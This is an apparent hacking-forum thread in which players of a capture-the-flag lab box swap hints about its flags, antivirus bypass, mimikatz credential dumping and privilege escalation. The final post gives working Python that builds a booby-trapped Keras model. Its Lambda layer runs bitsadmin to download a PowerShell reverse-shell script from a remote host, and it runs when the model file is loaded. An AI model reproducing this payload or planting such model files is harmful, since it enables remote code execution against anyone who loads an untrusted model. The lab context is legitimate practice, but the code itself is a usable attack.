Posts: 3
Threads: 0
Joined: Aug 2024
(Sep 17, 2024, 04:20 PM)4rrows Wrote: (Sep 17, 2024, 02:11 PM)dmitry7750 Wrote: (Sep 16, 2024, 10:26 PM)Humidity12Percent Wrote: Anyone got some hints for 4th flag? Is Tensorflow the way to go? The one RCE I found doesn't seem to work.
Apparently we need to write a vulnerable class for Tensorflow. But I haven't managed to do it yet.
Did you find an RCE on this machine?
How did you get the 2nd and 3rd flags? I'm stuck here, need help to move on
Did you already find CCTV and Vault servers?
Hint for CCTV: Look closely
Hint for Vault: Remember, this is an AI heavy machine. Maybe you'll have to fake something.
Posts: 4
Threads: 0
Joined: Sep 2024
How did you get the 2nd and 3rd flags? I'm stuck here, need help to move on ! HELP ME 
Posts: 9
Threads: 0
Joined: Jun 2024
anyone help me to get 3rd flag and 4th flag?
Posts: 17
Threads: 1
Joined: Jun 2023
guyd, do u have idea for bypassing av on vault? run for 5th flag
Posts: 30
Threads: 1
Joined: Aug 2024
any hints for FULLHOUSE-VAULT? got a shell, only got 1 creds using mimikatz, but that's it.. not sure how to move on.. this box is btw absolute garbage, it slow as f and nothing works.
Posts: 33
Threads: 2
Joined: Nov 2023
I'm stuck on the 5th flag too. I have a shell on VAULT but I can't get through. I tried priv esc but I didn't find anything yet. Does anyone have a suggestion?
Posts: 17
Threads: 1
Joined: Jun 2023
bypass AV, then u'll be able to abuse your current permissions to escalate
Posts: 33
Threads: 2
Joined: Nov 2023
does that cobol file have anything to do with it or is it just a waste of time?
Posts: 59
Threads: 1
Joined: Jun 2024
(Oct 09, 2024, 10:05 AM)braun33 Wrote: I'm stuck on the 5th flag too. I have a shell on VAULT but I can't get through. I tried priv esc but I didn't find anything yet. Does anyone have a suggestion?
How did you find the 4th flag, any hint?
I have been trying to exploit the TensorFlow but nothing works, how did you do it?
Posts: 33
Threads: 2
Joined: Nov 2023
(Oct 11, 2024, 02:08 PM)4rrows Wrote: (Oct 09, 2024, 10:05 AM)braun33 Wrote: I'm stuck on the 5th flag too. I have a shell on VAULT but I can't get through. I tried priv esc but I didn't find anything yet. Does anyone have a suggestion?
How did you find the 4th flag, any hint?
I have been trying to exploit the TensorFlow but nothing works, how did you do it?
you must use python3.11 otherwise it doesn't work.
import tensorflow as tf
def exploit(x):
import os
# Scarica il file PowerShell
os.system('bitsadmin /transfer myDownloadJob /download /priority normal http://ip/rev.ps1 C:\\Users\\Public\\shell.ps1')
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("infected_download.h5")
|
